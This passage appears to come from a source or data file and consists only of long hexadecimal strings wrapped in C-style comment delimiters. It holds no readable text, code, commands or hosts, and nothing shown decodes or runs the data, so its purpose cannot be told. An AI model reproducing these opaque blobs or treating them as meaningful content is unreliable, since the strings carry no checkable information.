b94d78eb05638263a73f79f2c218bf4da190e84e2ca95650f32e35632dc56d74b37c86c0a34de1f362d27743db77d4c55ceff4dc5f962a900215dfd3ced91fcc00be1d5547530616f80ae4b2f396b6a466cb225fde58308275a832b5f348f308b834083977596365a93bc93266ce7b6ae8d216326ff1b57f893db20ab54e89579ed8aa19edf46c73ef1b4904be349cd553d33ba2741ce7ed2a2c473ebc6534f81ec55509802acb0d9d76f8ee4457ae37ae44b47a50fb9634c7d7cc2cae58c17e7dcccf4dcb207a472782a63475dfed3eac20e2e3c6f413c98a823c6d9388a1ecfaf36bf081c15762c8644164e7b6658a1f6d89b4b502b0475437b903fa8d44f6781f5bdacffcffabf7a76b01b66bddec3e0b70ca927c3cc94c1054514c13a4bb1efcbf4fa1de6f283b6e153590f3222b4e3e36201b899c85693c9b2e2484157ec682bdceab232cb7f123585d2b565dd792f5edb7f899f1620a2ac937b74bbcfdf7b3222c984e27eac95e9464560f8aa08c95fe58220dd63f0fe1928f6667d25133a25472d69469b01cce40ab8cef89dd36f0e375743048c84c4df4d989e12219ea146a8649a2041296f4a22d2c41b6e858aed9d7a7292f0dd5144c3325218fbfc6b035658f1f883387d0bff5c102f9e33c677998e99d058563b58f4c8edabdc49d58e572fd76a79b5ae296a6ca441a611310ca25b1f85452072c1f3f043afbffd071a9b651de0cf171f3813010b513e518222a8f619360210cba743ee293a9a9c9ac836ce5dc437b65b99820d8560ef2241cbdde854ef51c0c784e8d8209078624c62e6e5f98ae368431ccf62a7b20bfdd05b9575393adfc6b4f41c1d8666679b8b8dfe926967183eee8cd925e965e02411e58ce3d67c189879fcd1cf6777a0130ccd20b275ba6cf409323a2b7fb0837734dabbea207fd695775a55b97f3c31a77a14063eb545926302d95e13e1cb1beb5452a787afb428f2e4f80c2e601773f21c0218834b1c76b0fc0f0741f4aba5a3b7794d0622cc0ec2f3085c852259592ddc086185e91e6f469807c1efdf620668eaea974d314285081ec695c90c86c4774c380f58c7dba11864da14d0dd655071310ebcbc387c918643b4ac536ce19e6fdad5d0f8e5213a2d8d5400e0ee816fa35e8b46705da50479dedd086ba1f02d079d36c62554b2aa1aec5272c52d3532caef5a1e8e7d2d2edf854d9ae8ffbd15e0e5158c3773174d7279f638a990871edadb33a7f91ee95259d4743cfc24fec0633f895f55359ce3fb43c05e4b12a3a3ca8e3fedfda1fc5cf8f68ad1db8dabe8b6397278d6eab4eac27a30f33d83c358c87060e6c0d5e9a2e984b3821513ce7a6cc50fba52f6b16f36887b15ada5aeca1875071ed46eb15486703d09a1393988bb7403eb0afed9adaaebb0e58b65e35c0c83e7f4a8fc3f1266a7382ba770cee51d4f5b9994034fc00124f0a7108603c70bea47358cff82d2ca8e2f3c0384a6d6d928d7bcf1d5a1475f804d603403a795ae9b4bea77d7e4324908ad9b08572c31989eca69e97760a2a46e782234e0217e3e1d7e108562ce7ca9a3ea77f310c528b6d5f03c13073a5d446773140abcd8e39a6a5d289570ca9104904f315ea35c1d2fbe2004bc05555cce1fb2a0cb3f6eaab9cfeb05d589fc3e29b5861d5e80d0a300ee180d4c747d14aa836bb68b29bde6840a8f0bb1e9f490e90ea40d33b32961d8fd5ec1cf500a6eeafc90bc51be4b75d3a30272c19be1bc8598016f39eb3ed112f222633af600fee9cd59336b2df289ff318d47412581acdbbb037138ce0c998b53e8b034527ed8aaa9664a03928c99722d884416c20fbbbbc932ff28328b49b35c5a5c5449ed155590a13eb49d4ea67a1e62bcfdc07a664558e0469ba0e8ca4dcbad1f50cbf3b57a378b4e2a6eff42908c6f39ef742ba2347ac07e0b9a75e3dae22f7745d601956a30abc0b6bd3385fdcd7581c44680acc1d5cd256418dedeb6e51d1cb027fcd8d64166fcfe17360e2fa19aff2746c69572f6338506f69b358c5eab431bf8a37571ab126bd191f4f795281b4d51bb857b402a37b7651333175da6acc64026f249ff84628365159f668cab9fca00073a8fbbe087b445c6cb2138d91829277ff9f2a32c964d9a2e41950f3c8fe52d4ac5937a5e86d0db61295affaf5a2496f428013cebb1926708536617f46bb2132c2cfd32672700433f8cdea367133e207f5e2d316f537523f0b5a89aa6c210f07c62dc45032104dda36f2a4fd5c1113e1f62b8e62f1d7ac07eb1a8479250c1e58aec0a3340cd1c35d*/
/*0950bd6ab3bb158761676869d8ad0f63af4d84f91452b2fde053f66fd25dd3fb347de3b39526562fc296b13186c094852c118c6581fc9e9a191a08dbd74727d45e55d3109fe71cbd48905316936f8006e1f732bfa1981c71613061b56b94a03b637bf26025443ad8e3fbfb94eb539942628899d148c6270460b6bba2115dc5bb8568c635862e2b8f7371ae08a4750ef8b5cc8f3ffd94d02cff6853c4d4fe350db544226a5d4633e51a11b41ea87748a11b2aa615d25fd40b9a947e5564a156b22e6c2993de34b1720b843035d9a84ee629a9908b07457a7c244330778178cbbd8897bbeab3521fe9f7ef6f1bce15a2fe5ade32dfac67400b69ec580c114dda533fc1e320d6afd4cca8e465f448683b3ef01313cb08474f65b8e1fb50d11525d5fc69b3134e10c34f26b81d1264690fe7cd625e3589a23ab5b21acd31f05e7a6f6551f6a2ec39227408b0bd8b58b209749baa4cf5a78d72ec77b8568fab44210d065e749d776a332b94503c53b6f95f6051e1270e5cb5007462247ed6ec51155b1336ebab9050847a39e41293b376574ded7a242aed1ff0114b1a002cbadbe4646eb053bb79e20e16841aed12b6f703ed1c63ae4d1d2faccbfe4fa59b851a667909537b42916751daddce969173b104318e01d105fe44b22942792ec23c373fd54d7987b70b08fe42a78f971be07f9eebdb7d713e7576a1facda200b297b690e059dd15616f2e14eae4354acc16c63815522f254218a0ad2abfd175429e6df5e5b9a4599c7241918ca285bc3c95aae5017ac97dc8a8cc2d82013edfadfcbe9a9d24a1c46062bee2ebf4eeec49edd03e8a663850be70b374f57be4d0f4114f933e6d9528fef9c955b98e1701927d80e90f3079a3c3593f1e8f7e9f4c1410df72ddb217bc77d04ba7d7a6bdee08b04d13768886e5533504031849c8f4dfc2ecbd5b2b28583f724457f8681b4912cf199dad6a0800cfe298782f2e9eaa8d1fa7317059742e7b1d16b68214ddb257d5c4e4cda91351931752acad7b27b01b0f67a8039736fe1833ca4dd59543121440679ad6354d3974b7aacd72935e7c16b6dfd4756807a9336a93513ae5868bafeb98e1d0f096efcbc2e6a72e0898fc4aed97cf22fb54d6b4d3de555800b01b11d649a0d2943948034ded735be9742be5ef59b62684e62b9b4d46bc16f6b73e0070205cf27d71765c724bd0ac73acc09cc3cb23d8f6aafd74ffa7bdef40bbea1cc1e747b2314c8d016657dd2b0d3fcac068702a3efcabbf584f95311fa29d2570c98dc4168e32f7cc79aca509641690f87cc97ca6265a74bb63a590d78a4cff1a47cab71942ed0fff59ffb19223cde3d3d75a12fd6523d8db27c83bbc562e0da336632ae366cc331423a358baf82dead6ccc05479d6da3cb5e70be13d3c21353c7d7f5ee63b001930c9d90866ee5747062cab3db61ba005a0c32a44c82da3225b880ab9c54cdbfb4bfdbd2e9e13d82f7478f29af25e7add8283d92a29d43c1761284afe9324346474f392705dcec6c14fa6197b54ef53835a243bc7618d4b95f92434b37c85c424d8855086f4c08a5ae5d6f2838837295d1c70bf0a19f6279a142dc6268ef857c283ad7f2e540933fb943f47d1acd4ba7d68d73d8927d5ca09b6ad7cb3e68a391ee4bfbfa3bf0718b88bfdb09f683dfb184760ed5dd2a4dca510e10b0455871cfbabbd2300c6f5902f44c5d472c590628bd02872e4c6ca6d8203bcc5bbe4debcc71cf43f96a30e0415477bc48bc13f575559c3bc8abdd3a4c1ace8a3b2542b27fd8e1c7127fba29bf6650d49c2a6fab13237873e1f8df1b6f8bf6a30d476844249e8934be3b2931e04018882b91e79fc8fcd6fea358eb3bf3fe344cde6d30d11c7509355076f7b511fd319ef9a678276ec6f91178af1e04ec5e92fa02d1a8ba6ca2d7bbd62882530f1329e41a274285293c8a538a9d6b786798bc9befca52022670c6ee0ffd2369b2b8db45b89b38dd056111f927f16b261a35ec7518cc28ec0f7f29397c7864ce5c5a323212a8bd8d6d7ce596e8e1599d988fb70a49b56d7d95eebcc1ed62db809e6bce924250ae1b069d38f5e19922896897003c6031fe15f718eda3fc98008f942fb1df457049ecbaedf352cee66e63f789064d909bc66af3ff7e2c535d72635a2a16153991544673c084c91ea7dd7f239e123dc50c297367352c1363a86b016f95a3eb4d525a3f1a8aa5fffa7ec5ae08ff19bba6f9daf7202c5228dada562a24403432256e62253805e2773e7ca289bb6a5e96328d2f52ba1357028305bd7daac7be18357d0b27fff10de3f1f22e0d3ef1589fddfc19f1c6e6f7b70b093858c9591897f12ff7214b28aa63056b4887303c0087e8405e9afa603919a8f1003c573e114f9924629c76c390b887bdec19c621acbd6e06e8629d9432771e9f01be4231fbcd6a69a96fafdd25b749bc8ac858ae15870e3fccc8aff66860587efe557fc58be156d6ff1838799de85e675428fbbe9ff70720ca6e3a73cc5462159476ce401f3a0c75c7ff6352f32dfe140bc63dc072ed560036a4121284c18102c0d227f6179df13e6a66e8364890e1fad633db289c284211df08537f4d518e913cfbf4451a439ab5d0af602b40a29944ca70a06bfc928a96ed6457c5c9700f41b99a22c7c8fa121689fd89d269c0fb0d9f3c2aff3da727d39d462e1c70e4780190cdfaddb23f084caf3f61360b8738974ad8032055725ed5a8721d8e2a8ca3ce329b7acea5858d17406cb7f6b7225dd43c2100ecd413d7beb99ab35b068e63ce42aa7a2a4c4063c4b2d499f31924d24970efea35c6addef1e*/
/*db75e6d1d81391403a4a08edea113f4b8505cbaee626a936e882b38ca0f1a83b89d7b039949f711eb9b04de4146c21bcb8c9c97cc3f21873f3ea0567d78ba3e67d6d2b62edc608d8f5f273bad23e67e611303b7a3ae61b2ba242261b057affddcadd2dcb6fc3a6166dc0c4efd2e8f425eee3ef56100f1938a56261541e6858ef31fc079fc9017ca73cd7872b036110e77036bb4a6748d89e4520f64c76cdc3ab28778ebe147c640bc3f0b42c1597f5fd43316f2562abf836ffa7b3381c3ff133de870dbd0331a02e9e6c43b047a5d044ad40bd9591b0a6d99dc57705015b86fc0c14d43c151eb414bbf609e9307e4d4384775dfb9568da6545e111eabbb17a486fe7cdde1abd68bead3e1ab477ab8ddaeda0a3b40b11d9f7b5bc677b6c169ef669acbf8e54e16512f4361e5d9aa0a8f7bc754912ab77496e0798eca4446f5415a9da081af6fbb897dbc633a23276ce6105fca708cbbc86aeec4d1732d37b3af50db664c592cb70d8bb40164d1f5bce9f315843b96a7cdf738be5448f10456fef4aac1732a9254c31dad8dcb478fd173cf900341b8fbe36b2be5d8c358dca9605273e288552f7ddbf1209f3669feb1939209a3998410bc5116edef6a8b3997e14d784627f032e4707b20c90f7512c029c4bc570c037f0339bebe1be01b65fca48dd25883663bcac0788c4b3f2a5d7b1f2afa1557d6f011d4978ea225bcf832e5480d9ac9ce0ec30bcb4021d045ce01c8e9cd592a086a077c884bf7c4ee25a353115bd96b225c214ba7df9b405002dae78b539baff8de6fa060a15af7531afc58bbbfa726ef8ab4ce70788f933c790d6fbc67af33edff4d552af9ce1007050980a8d0be3cb49b04c829933389df9c838d45f7ed0e64a9e8c489650400cdadd9a31dfd36e4c0519c5506cc92d2cd753698c8688be4f2264a8f70a7f85459997066fcc0f4d0c46d70350081be1369b8b0b41d961c39f01c437a215812dec65e8942098ce3ef31df7363d6bb1a41ec06d51001216805d2601dd6b543d4fe5450554790afdff87bb28a0e7426888057a23160439f3e144e09508f0dec72abbb891fc7b7bed7593bb236ccf53a9be0b37fdeed4447258767156f265008ffad2c88f0f4c67d5421818e8853b6bd3dce8786b86a541876f05217fda45dc8992c75c8bd56e34c899eb22180850af316604cf0f119bf53fa262f8929ac7d50ad7612dc2bed1944d373d989e683157f90acc06c15dbc33b81fc0dab6f79aca60eaa3578a12298a16887f1d0dc0f466d1fddfcd5520a37cf03661f52c4ab4a62a2d56ae62d18788d7d1755aacc7f2f79d49604e6addef98a8bd1619f2ce76d9ba64e97ef746e0a623950b84debe95f8aca220c4fe43a0fbfed54a103349ac2fac42dd4f4477f1e0d7306b08e1f97afbaacf28237ae9ccd6ed53027fbd9b5058e93db3a0b769fbb06abe6fc9282f7c7f23577f04d347cc161534842a3890e9cefc6ff453098a66f4527e18e8fc37d27775b1ff0f0fae6749e44414679c8f27878cf4a9a708d277c6ea5a730f4bcfc0c7ed63687f2216968b32b648d61e877df0e9047b614441a381df0fe1b38ed66b204b741011c7eb49fd7a6149fbd6eaa4a0c237d0b80f68197b70ad8219a08e61c16faf5dd5aa4812497340419361148f8fb671d898e27c5af03e724c846c17f08d90635e030d6c03be655d050a97da416b983861c369ace4cff6163729bbe57a2f7630a4e4fafb2176fa8b2ecbd518fc1d826589f8e70cf18b29682f5d69500a6070ee5d8ef6babd026c931915bcfc34f947aa76b14408a5150a4d04aeef107ecba9846d9cc4b84dcfecffef64c661811a5a79c73a053d39fa0673f7f01df5b9e14e6ad8fc082e7a1b2d3d1b35a13d8faa666ce06a43034b95d9edc79ec924b209d0dfa36553f46ba2de9bfb9068f7dc87bd876d327b4470bf62025a2b5ebd36615d49ed1bf7ea1cf11fa99dc050919cf2b56edfb845a59fd583712e21f5dc3c7a92d4f9db38b1d9ee45b6827bd9fc917f2df46ca7a1ebc154e28cd8ee6303e6ec4730eb478b6f3682fe345036da5b96ffb6fc9cc602b539cde1181866ac7960482c7867bf726c8ffa7d6c9838ca1afdf6f86e1ec61f4f59059f1b5f98196f5f629b96379dfaa8864df07597f98147212211e06d174ee305de197ec9103c9a39101f9e52122fa5b8f831c0a0ca06d039f6ce361f95a1f34c3d33c86169718542d01d7e0d14817bb9a3209c29160c45bcbee138503e58f20650d19ccb936b3c9511aec8ab3c2e59144fc4035c808a2e8bf4ff08471e0703874e2fc3a93912564863e8544647f1ebef42925c7af826654da4a7442fc654a1539722d23eef650c2530d26936b3cabdd0f2b546b4fed75092fd9cf62750cfd0d0eddc6a2dae6152d34e82dc5397bdd3647b4b80483a6bed1edfd3b4ae2de61485ff25e3ef2852d430f506f21df29d4b15fedef6d5ee108132a449a12e449986f53d1e0e44af100ff31ec5c1181b80eb4cfed47db02c3ea4672831c48ffefd6e6bbced0b878ba232ae33ea6eae40706b56c5edebf6e9baf7a8f87e127e18591be79800759f58f0ab11e0a6fb1796e6e9eccf3d3a04a9ba2185d771283dac48487dadd16e0140a755ced4ec0fab3a45eebf5cbd2ba32bbd85d2e110fc7a085ae61c49291c2b35420bd622490de539a322e51fbaea27980836507a658c230df9253a123dad3cbf381647267464bae626679d1aa4bd80281cc1f6a96228579aff21721fef451ca55c6e95a6a512b73a031817c37fa36defc6c76c3b9e1fc1a93791da18eafbcc436b86df85c8c68a7d8c0202*/
/*94d2965cc72a886b60233ebfb6044fb0fdd7046e5b482e30f1d33db6627d6de77657c75ca9c485afe8fab9990a9ca6360dc4eb0802b8c2845c8bf8a606ad43d21059b9e655c05955fba2659201e0a915b5c88d8f51ee5a0f10f1a0c406c27d6c89e57365443cac4016c016e21c9525d3e78ae42a87468a45cc10c577c76747c7a55aedbf4aacfd3884b038345141773e8f7e775674ee948f23893b2e95a8c07dd4b76042bab19fc55b6243ecc3a246a0c2d12b4b6e5d638089b5b5f392e652255d1136745a90193c6f0340345063b9222881f1d9e18c7959cf12915408e76e1190e7f9608bd9ae42f3cefc9986684a669a1cc53f2094fb7b325bdca33d67841744e3c0ef4b471fd81187bd708156802627be5d7914949ba086a1c1107b0d3dd044d8efb3d1cca887fbb0957dec5d21ab2efdc0098f20521ad42a4d20d151527402bc704b79548cb524ffa44e1fee712a274907e356fdf2e6f2917888974f132d312f8a03f7fe9aa570648e43848a874666784c2b3ffc2e4bd3ec28be44ede066f6cd3e218aebf823899e48948645ce01b82f89550a877af558d10db5d5b0f4e403fe6043191d40728f9aec56aec96804efb8720f31240c87420d3b4f1d6e7882541ed364016c59ecab6d5dd0f44a4e38c5cad22fd50a10afdb553ff955a0acca6363ee17bdde187e7f7d23f4317c0adf9bdaf9166cc91e7a349f650cc1b597aa7e89b87aa5725bda86265ee7d9d228f1a9ac403a2535f0f50c4b7ab6be986bee79ada694ff4b79814c18f54d684d8305ab3e2156dbd2d8a6d51826444cc52daeb4720db8509c2167a5a65f6be32a1a64db74d7ca3d1bfc54397c31d8c0fdd25c56a2b8b104e2d507303572e3c4c478fe8bd2a78725d28ecc0f920cabf13c8caddb5dd6e2b11bb959328b689c88374adab0a0cdf5af19bc2e9b679c93630277694b691b9477945eaa84f1399cc5d6664d2c387498f8450fbbf60bc1a0ba3d32a64ca60ce3aa7899c641003c4edd20099fc4f1e138ce502528b7f48cb0282cfdb8d20c21e551dc8e67e6c724945f10ce2adb93aa94aed9de539289f96ec7f58133edef5fa8bfba8f02852a7caef93d6d6fddbaa87860d1b87f258c0a6e11dd09236109c1dbd3776d896737394f2595c84570f162d07d2cd5b02aaf2a63f7ab1eb44c347256738274ef0ebcc3ef7e30ea313a2ccd3342f12b3520b7fe91940b7ab00fe1ce04d63fc27a7ba0ac72b7707d209ba8a9ed273c1f3ce82c89c9fa1fa25db2f4d56f87d1e39267143c99ff298bb6cd5ed7da3b535c92bb8c775cb9d3218fa5606f1119e5e29161def6b8932c673ce51856f56efa5ed82882d1b991974889fb4ae3b4b26fac915ae67c42a1481e043b26df477f40a16b190a1b0ad5e45a261cbfe223456e97cab25869be30ace5ecb80697bc5766d912b0944e1cc55c18c7876ca724b602bf9d30ab8be170894a88929d4a177340a561d52c1827c136215654d71df60f12a8d0e4bc4b1e74619c880582df04d42d644c22107dc81b3288936c2eb4909b50c77e17053919566e39cd31e97dbbe1aa49e2919508bed01488a136d9197f58c12bab3bac6ce38fdb3fc501540f21dae7e446852d222041ef3caee3889b61598520db8a7a81c6106e2981fc0b5ed263668417cc16b104023a9153bd59dcec521cb4b957b4a4556dda7d149da1948f23b1298a0aeab98840bb71ff67f179a33e3eb1766f2c0370adcfdfe3f47365a835b4a61fd2c817e7347f4efbf569c4a35825081abd7850fa17695fe5726df0ed3da2f09c03ef871cf076da6e14b6f3944c0ca20bb933e23d828848e092f8e4e49adafabfdaf718fc5c603665d56b188976676988d7a829cd3f66da8b2c795464500f8c98892a1f170cdfb274d16c30e9a1c74bf4a084a1d0fb061222385df58d25554411212ae9ea8f53ff74848c4865031eea076d10d4f6a21e9031e2e6e41a2e7ded0b90caa4bb61652c1d786d50c7e034f43a8237ed16370e81e4414f76d7b6f081b506b9f8743bf951af952bcfb80feebcdf82e48fb8701203be815a30a4b80b3f45bd7ca921d2b368677059f67593f5bbda780f9a21b3dfde52618dd95e2aefd2326d586037dc586f714d1c55d4355b207cfbbadff7db8783e3fc07c2c7be6464b0e4f8e5751403ef9d3d008ea71940a0a48c3fff81fbb336feed268cd72f30364c9a2889d14fd5bea53c0409e2a9e24486da4159d7ca5809623f0a7908a7f414e09d7bd5bd189f7073c991bc217e5727062ea6b775b315aa176f6d16bcb417b61986a55636bfa9e1ee1302b61878af858cfd11368ed27407a6e7716f78f133040b0f345dad1d61d2118bca5afbe1c8a2f23dd8449a2cccc70fd6b967c6c955c6771b8c4611de8598dfbe119b1e22c2e30d1c98f621ebe745e2a474e0e860298cc1e2446214b685d9ac472c76fe2246f051b9cfcb43cfcc3c98250e4f7653c5ea52bae78ea8512fb9fd73cbf9eb6579e40c907a2d488bbbdd7c783c14b14fbad906214bacd9b002482e8cdacb5a90175b55993b75d91c189586e2016e0ae3294924a4876ecaa28d8f22efdbf3fe1dbb95c9445f957966397a3c58c2c71e8f2559b92366fc8f9f74608386f6676859e973e0b50221945e2f3cdf34a443622e0b652984e956ebc0d623a64100f58ed36c521125ce2d96dcf9776b61c698b65622616c597dea7882842e2ff3d3efb2a6ae3eb52d805f753aa3c9af8d982891540724005da28a3d7e3273a59d495ee748d71ca0ff439baf304d79ffb3615d23da559583f9a5e6d09d62b6f5d94a571ec98c7db2cf3354e1abbe925b*/
/*5444d3f270671e00a0ad01fb401425bfeb8f970d9e7aa6981c7f197e78ab0dc53f05fb25cfe00b86f68e39e8fe4ee55ab434c18256d4ea09b872b96ac54edf2cbe14c3d7efdb96e907a637021f0bfd8a2af2cf9a621fb2d3334dc1aa3d25b898a0bf4f9600d7278c59815050b92293b04c97d0d6efee864380f3d831c71cc9b8d641efa4a20345bea326dc66b88ef651e678ac8bc072759ca55ec48ef5561de39ec41568bd45a2e697cbba50c2dde13fb6f04e1bd8d2bd7b807e9c97d534202771ba3e85b092eb6aa33f2915a691598cbc838e106db2904e932e9d94ab396477f1e0dd5cc2b40b0c882468e33b41e238f1aa921305d17d0696f2da611052423fc016ff187379581448be3a39cf9f5fa9ca2d317f2775f461af96fce0f4f2106456f00101f196e302cccc0110eaadae7fc0f867c54860e4a3531ce0b3d059e6c5a7b738d1ff8a864e1a7e9bd113b8f9f0e6139f216fbe4e0d3b2496a0e2b45008fd50b7f5a95a5685dbdd76970b6912480ec977fc463185f092b103fd8921c5afce13470a61508c2e51665694e10ece6e6197b6179a215f2371dafdd6a6ad7155b9fdedd288f743de4abc6976425f0920dd15818454ff143bf0072c035a4b6f660958d44cea4bd10ed95cc12bf222593668842edc251c7711223cece4bdd0647549757c41bb69a76ff4bf8aed836f90ba53c298b9407d9ecb752febb3f23686b370b78d27ff60c66f787c6425e1108ed2a6d84a1b9c1d951fc43ad1be73098800d3f52df64675710bc5793321bd5811014dbe6dac5310e84a83bdee2eecf1e62777b27b2d542ffb2f31f138a0f0a1033dd240bc7c15fd77fa0a0c1bfbbafe903a8d80805a8dbf5c67bad4e5e761b34ff353b4f2b4c91dc700c42648939aaf10c0c7685727264cfc23733beb32a9dae0e37660e983ccfebbc834b943fc1c39e97a105062b96895183d1f821564846a7cacc902e6e74203119846f6052733220cf00225a2f06b016368a363530db088005d69a125bbb7411055743f8b8ba5471f99e7dc43a4fb772ca515e4d24d93533f0f2ac3c6763a9fec3aa008617d91d800937639ca76d68a10c42fbf9d9958433940f842e2f40b3fd9bfbf077c3f4f2399d4972685a3295f2c56c0216ce5cf79b7eb09423eff0fdd36385584870ca0dbda2c4027c3c253a394bfa17eff6ced5788e267dccc6971eb4dc11758a04e27e72e2fe7e83ca29fbef628c5d618a823a89a0a4eb87fa927f351e006f46a2fba2990131f1eac9854848f77eb77a24516d6e0c239045d7eb12a10bab275d73c9b2828ea846d23d65bbb551776101ae787d947d0fc1700d6f140dfcd9993928e7d9b5e5cb3141580d3f8635e6f190076537978f32db7546aa39bf8ec1214d9de78caf95baeda8fa2202763d2d6f810c7c5944c36106b0e26fe931ff2193a975c88a596d96ccadb7c187931eb2f2b24a6e5d9d9084f24e752f57fed86ff7866ba6eae0ff46033255a6631687cd65446e5fd38cea3725efeefbf01a564248aabcb64d61618acff47975f0ba196437fd0834868dcf8123148641cc336eb7523e0152c9e3dddb4bfad05ef010401d3bf1f3e1453f0c5e602d25c496a4e46418dbb4234ff9cf9b5f740c2c753acdc078b5dff0f42b1fcba7722cd5329d4e8b6bc6bf8f9cddd0fb6f43e2ffbe84ca3e877de7b97769a3a5857c0e8ea9a8389d5306e09419c49a7fe489f4c8cafaefa7337ac766551472583a2ff68bb4669db4c22ef4b536064aff31ff6f14174812635a53cc425c5bfe0b524ce206a7dfd2d2825b2aa4aa18aec17461ac3cd549618b99eca290651ee01659cfe18417f32e8664560e913569e9df14db0da5070b90879a0ba8e2f646c47ab03b21447f6e9b3de9b96513f19b12c93697354331a8641bac0cc64fce3a896818e9cd12a757065f5cce4d4e9e123b0a11c6a4341d11f7cb155a90c2884f0905737b35b6da64b6f752406f4242d0dc4f4cd0b794619ad420e74fef598a097a3d056b9e4f726381d21be9164ecac9f8059daae6a3468c96e24c1e6b506157cd9bf4907d102cc60b219ec462920065554d48c6132a625b0ed20993aa02ab44bbbf673a44cf67ae7a509a4d85cc1562ca0735ebccbe8bd6d5da65b9d1f0196fd2f4b2d6f5daedd4f25d48d7228e4c08169bceb185507665d60f9dcada60e8a0cbc2e26c6e46a31dcb7756b877f92dd286a5b3c8f7d6b95f09bb35c31b7291a9b2c136f57a049aee063730ba314a32d64940d417fd04638a4bcfb43b395ba8b55a16da5e6c9009b1fb0ba9d5252405d3d68900c7d5b2890ab3faff0f75099a0b2f371473c368d8899f224b912bd3bd694211231add4bc414e84b641cf0c95ae0c15922600dca53d911709ca2e474e8d04ed19bd0a4aa99863bd47228cf161273b2bffe6a1b5301e2f680537583941ca4d4ac73c0131e14d0aa74c72a8b6d4e8a20f886b78e9940dc0c3bebfb87b3c5c1e36110cc696616ef789e8d78fec589b0b999608e05e3d79b5fb374d0b546313d234efaec73803ccceee8dfb5fa8ef0a3718d85f483e3042009fdfa6d9a0a6d7f36d1e3e00aa18cb15e18c2a0ff103356565f0143c5cca8b839d748dc54f7bfdb7ec58d5d017476a76cc15979ac810f4df0b3f1015ab7d1101998d3f719bae7532a27b9e32f760e9567ccb43a4326e7665be6c44200518f73541eda09522c3b97aa95526586e8ab3bf6da761d2b6ea4aca58f9dc35c006dd59d356d6aecb03c9423df3453e6f1ee452f2c759be87494bf167ca5e0fc5dc19bc185ab35e6aa17042ead8ad3337b7136e3af23a6f7d3e92ec95*/
/*2e02e57c5db2cae38134dfde160f7f5ffd2b16b150e5f361a2cf16363b1c86ec2f9064c3917b0eba3b0c2316159ef2e62b8d1c723392efe0ad4fc94aee8c6067933a1eac8b0129d7617164b30c85c91b8701d4ac1932a60bb277a11e4fd185a134b7286319b3bf5310dfe703b2d322d9847e9d8251cb199ecaac35237eb14f72c39fcfbfd7d1effb08afbd39fc23df5060f437d8928b6c202480b53c6d5f99a5282c76bf6b271387750f6136feec8233091b7a19dafb8177adfce4e61b681deaffbf76f8241b137531534b026b10350403ddee5b5c5bef7b26b613cf925dd004ee2e2a39bf7069bbcc75b5464efece350d1c17f754acf281490b1f0f5083ca1eac058a6cd7013acacc9e25c64ec02ed3924eaa69dccbb0d7c9a1c93a446cc843ed79c7f1d0a614aca23245142aa17f884785f7b06477a9cc65ab5bef86f17bd4ccd10157b721d0d44453baae79cf1795a79f5bf962fdcf423ea991fde71ea6f89ab57e9e8808fd1025e9d55ab7731fda14a7a766568770b4094addb182e2e5e5ea9bdee1d65a45eea1d2fe96f0013a3687dc08c136accdaf4b06d049892d2954b555ff64beb0fdeb65cffa1d830be1d32a57610a1803132f1d54e02598edad8c89ee1460d4fdce807404bda519e2eb48c9e8c65c6e5031eb4ae09d8ddecd917357280f90325070f8bb3a710e49cf00a7ebd179b4c6ab1666140df001f0c154f20561a4a42c5c01fe1b149eb75de0d9bc00f3966745018ee4ad64fb6a1e4f3c8e576dbeeb0da7cd3c2be3786e4516b9a1aa062eafefdeb645c02a49aeb98f8c92e1502aaf9d87587ac22e3351fa21b555758b91b706560d93856fb7a0f770ce6221da664c51f7626ea3cb7be20f8dee4229aa2a92b845d02cc894d9351bdba83535c690d981ba63cbd567951f3af7219778550cb2a038db24a214a87d3e14013b66dc33794a708e2ec275ab5e133345fcdb44efcea02b60051d82c9f205564b6dced9d853793721e5b42783c138b8d86f5793d7aa439190fae2c6dd776e04af3ce5de6eb1eee4d78cd934b4ea9ea45d2e92919589354b807668e97544760ff17f1c6a4efc4f070987cdc7c7478b06b4917abdf6ba710b241fed63fa532bdd8e3d8845bc6f5d8073dae08b8c43ee51ec6593c6d283313c3d2e90961bab2edc316c929d6f48f58d0630f884ec02f2ac92c9d4d14ae21c5a9d2385cabb6cb584c547d415c12f228e7112070591b4661870da7b1aca620f6d92a314733f48f458060a86cb6bc2d832016f2fbc2e9a08dabf03eaa71401add91defbef34c41f2a093d0c6bdafa3306aeddc99daf01c08c2a0148e250f3c56d20265f32f8103c6cf917839bd5fb952ace5a5d5d7dd91fe1281644d6e74a1d9539a191b66e90f1338a1f6c479ffcb96f04eb15db448b6111ec8a1572b50033a80f1386797a334c87e94c73efcc7264fb87b1313c75f10816eb38c93fb4f3f2b61060e4f114cef86e04312acdf7d5f16cf14b6f46a38b675e8585bf65bb6930f11a45ed1d54c44538cce0b39d697e0c5975460b427ba07cb8ace0ec414790d269060734ccd88780cfc4254dedf50d7d4d8d1e30777817adeb29bdea5fa91a5270a42f825d1b9d25e5dc9991a6b85bd2021982d08fa20b88647df3bf194ae58e614e40d9e1b3258e49496a2407494dc739a93592c3ca38c1468bf94eb63e16f4fb8b85348a370218f6ab395c44e913df9240c5c67bf560800e1fd08a87848128358486d128662aaca3fc73241c9c1fe1909f510ffcae2b074038fef3d23dd7ff5980207b9569924d966f56f61a866142e5fc2d552a02ff7276992babb1ff1a622cf89037c103c4663b4df74c66be2d6266bb4278db02c96fb0f82f2cd8256da98fcf68b961d44ac636f7c7aff9bdf1e89ed4876a4408d9cd1687bbc150dd7974ca6cf78d5f8d8f7f5f247a9b0f14f23e2e9b72e8e65ccc0fc57f97604ab368a6889a8b6bb997c2a71c06ef9f01e558b5f1f993ae7c9c9ebfba16d672bb91c0f7dad003e4d0c211dae02b557b877afd3bebb4b891df42a6beb7a208337e3ef7ce0c8a5ca3fcf975e9b0436d791b6b4e8df4d7a5e9da3db0bb11f52ad8353a856012b28df97d5431c5bf6a88cec44f18035becec9c3eae962a854ee44307bbe2ddaa9ce6dd69788d88decc53f6254d6abaa718f3606d5f60f8e704ad580b839d26250bbe74b95a2372fe7fe6ba6f09e1ce97a7a1e1591ae5f5454497b6b0a1cbdb4f6836146b83c89b0c6e40a69d52af0b67286f74d5ebe7a6325b80636dd5359e2657f93487d0fb1cc238ac130a5044cd83d12e12f07734cec024bce53d90f4028b2f5eda9862753c56bcd90bf242d01b3a03420b20a63c874845006d0dba26375b5a8537d3b31af5c743788eeedcc532d71de15c956984c6e8adcae41468b520f4161898d41f629cd4485f2cab8e8df7e55835f54ee6789f785ac20f8897f3eb411a4450dc035054e26dd49a9ad71cc0e7f310b151bf31b57c0fc93dabc85fbba498ca290f949eff627da56e34fac307ff4e57d8d04e2c30c125e11c5959bc39a1163eb2e9c1d4aff9365132cef939a